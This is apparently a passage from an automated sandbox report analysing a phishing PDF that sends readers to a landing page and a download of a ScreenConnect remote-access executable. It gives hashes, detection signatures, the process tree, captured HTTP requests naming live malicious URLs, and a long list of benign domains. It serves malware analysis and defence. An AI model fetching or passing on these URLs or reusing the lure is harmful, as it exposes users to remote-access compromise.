Edit tour

Windows Analysis Report
217469812STM.pdf

Overview

General Information

Sample name:	217469812STM.pdf
Analysis ID:	1558713
MD5:	1b2eff4456dc46c63d78ebc78e83f869
SHA1:	e73e0c988f5819168df91b550e8122eb7aa96f7c
SHA256:	e33202769f99aa0145cb27e2ac3436a027155eb7c8a138b37482c04c1c7b7b4d
Tags:	pdfuser-malwarology
Infos:

Detection

ScreenConnect Tool, Phisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Yara detected Phisher

AI detected landing page (webpage, office document or email)

Contains functionality to hide user accounts

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 5544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\217469812STM.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5624 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4520 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,5807399381284603606,5485889827132596324,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://tektors.sa.com/neword/ord.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5588 --field-trial-handle=1980,i,14292574596604281254,5753425100691775729,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

Source	Rule	Description	Author
dropped/chromecache_305	JoeSecurity_Phisher_1	Yara detected Phisher	Joe Security
dropped/chromecache_306	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\Downloads\Unconfirmed 323093.crdownload	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Downloads\Unconfirmed 323093.crdownload	ReversingLabs: Detection: 23%
Source: Chrome Cache Entry: 306	ReversingLabs: Detection: 23%

Phishing

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_305, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'VIEW YOUR STATEMENT' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'view your statement'

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:53943 version: TLS 1.0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.8:53950 version: TLS 1.2

Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: Unconfirmed 323093.crdownload.10.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: Unconfirmed 323093.crdownload.10.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: Unconfirmed 323093.crdownload.10.dr

Source: global traffic	TCP traffic: 192.168.2.8:61676 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.8:53942 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:53943 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oAYZgl7Ol51xsmV&MD=OrAOcw7l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /neword/ord.html HTTP/1.1Host: tektors.sa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: tektors.sa.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tektors.sa.com/neword/ord.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /order-00908.exe HTTP/1.1Host: ssa-account.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://tektors.sa.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oAYZgl7Ol51xsmV&MD=OrAOcw7l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: tektors.sa.com
Source: global traffic	DNS traffic detected: DNS query: ssa-account.info
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 19 Nov 2024 17:19:32 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: sets.json.10.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.10.dr	String found in binary or memory: https://24.hu
Source: sets.json.10.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.10.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.10.dr	String found in binary or memory: https://alice.tw
Source: sets.json.10.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.10.dr	String found in binary or memory: https://autobild.de
Source: sets.json.10.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.10.dr	String found in binary or memory: https://bild.de
Source: sets.json.10.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.10.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.10.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.10.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.10.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.10.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.10.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.10.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.10.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.10.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.10.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.10.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.10.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.10.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.10.dr	String found in binary or memory: https://chennien.com
Source: sets.json.10.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.10.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.10.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.10.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.10.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.10.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.10.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.10.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.10.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.10.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.10.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.10.dr	String found in binary or memory: https://css-load.com
Source: sets.json.10.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.10.dr	String found in binary or memory: https://deere.com
Source: sets.json.10.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.10.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.10.dr	String found in binary or memory: https://drimer.io
Source: sets.json.10.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.10.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.10.dr	String found in binary or memory: https://een.be
Source: sets.json.10.dr	String found in binary or memory: https://efront.com
Source: sets.json.10.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.10.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.10.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.10.dr	String found in binary or memory: https://ella.sv
Source: sets.json.10.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.10.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.10.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.10.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.10.dr	String found in binary or memory: https://fakt.pl
Source: Unconfirmed 323093.crdownload.10.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: sets.json.10.dr	String found in binary or memory: https://finn.no
Source: sets.json.10.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.10.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.10.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.10.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.10.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://grid.id
Source: sets.json.10.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.10.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.10.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.10.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.10.dr	String found in binary or memory: https://hapara.com
Source: sets.json.10.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1.global
Source: sets.json.10.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.10.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.10.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.10.dr	String found in binary or memory: https://hearty.app
Source: sets.json.10.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.10.dr	String found in binary or memory: https://hearty.me
Source: sets.json.10.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.10.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.10.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.10.dr	String found in binary or memory: https://hj.rs
Source: sets.json.10.dr	String found in binary or memory: https://hjck.com
Source: sets.json.10.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.10.dr	String found in binary or memory: https://html-load.com
Source: sets.json.10.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.10.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.10.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.10.dr	String found in binary or memory: https://img-load.com
Source: sets.json.10.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.10.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.10.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.10.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.10.dr	String found in binary or memory: https://interia.pl
Source: sets.json.10.dr	String found in binary or memory: https://intoday.in
Source: sets.json.10.dr	String found in binary or memory: https://iolam.it
Source: sets.json.10.dr	String found in binary or memory: https://ishares.com
Source: sets.json.10.dr	String found in binary or memory: https://jagran.com
Source: sets.json.10.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.10.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.10.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.10.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.10.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.10.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.10.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.10.dr	String found in binary or memory: https://kompas.com
Source: sets.json.10.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.10.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.10.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.10.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.10.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.10.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.10.dr	String found in binary or memory: https://libero.it
Source: sets.json.10.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.10.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.10.dr	String found in binary or memory: https://livechat.com
Source: sets.json.10.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.10.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.10.dr	String found in binary or memory: https://livemint.com
Source: sets.json.10.dr	String found in binary or memory: https://max.auto
Source: sets.json.10.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.10.dr	String found in binary or memory: https://meo.pt
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.10.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.10.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.10.dr	String found in binary or memory: https://money.pl
Source: sets.json.10.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.10.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.10.dr	String found in binary or memory: https://nacion.com
Source: sets.json.10.dr	String found in binary or memory: https://naukri.com
Source: sets.json.10.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.10.dr	String found in binary or memory: https://nien.co
Source: sets.json.10.dr	String found in binary or memory: https://nien.com
Source: sets.json.10.dr	String found in binary or memory: https://nien.org
Source: sets.json.10.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.10.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.10.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.10.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.10.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.10.dr	String found in binary or memory: https://o2.pl
Source: sets.json.10.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.10.dr	String found in binary or memory: https://onet.pl
Source: sets.json.10.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.10.dr	String found in binary or memory: https://p106.net
Source: sets.json.10.dr	String found in binary or memory: https://p24.hu
Source: sets.json.10.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.10.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.10.dr	String found in binary or memory: https://player.pl
Source: sets.json.10.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.10.dr	String found in binary or memory: https://poalim.site
Source: sets.json.10.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.10.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.10.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.10.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.10.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.10.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.10.dr	String found in binary or memory: https://radio1.be
Source: sets.json.10.dr	String found in binary or memory: https://radio2.be
Source: sets.json.10.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.10.dr	String found in binary or memory: https://repid.org
Source: sets.json.10.dr	String found in binary or memory: https://reshim.org
Source: sets.json.10.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.10.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.10.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.10.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.10.dr	String found in binary or memory: https://samayam.com
Source: sets.json.10.dr	String found in binary or memory: https://sapo.io
Source: sets.json.10.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.10.dr	String found in binary or memory: https://shock.co
Source: sets.json.10.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.10.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.10.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.10.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.10.dr	String found in binary or memory: https://songshare.com
Source: sets.json.10.dr	String found in binary or memory: https://songstats.com
Source: sets.json.10.dr	String found in binary or memory: https://sporza.be
Source: chromecache_305.11.dr	String found in binary or memory: https://ssa-account.info/order-00908.exe
Source: sets.json.10.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.10.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.10.dr	String found in binary or memory: https://stripe.com
Source: sets.json.10.dr	String found in binary or memory: https://stripe.network
Source: sets.json.10.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.10.dr	String found in binary or memory: https://supereva.it
Source: sets.json.10.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.10.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.10.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.10.dr	String found in binary or memory: https://technology-revealed.com
Source: 217469812STM.pdf	String found in binary or memory: https://tektors.sa.com/neword/ord.html)
Source: sets.json.10.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.10.dr	String found in binary or memory: https://text.com
Source: sets.json.10.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.10.dr	String found in binary or memory: https://the42.ie
Source: sets.json.10.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.10.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.10.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.10.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.10.dr	String found in binary or memory: https://tolteck.app
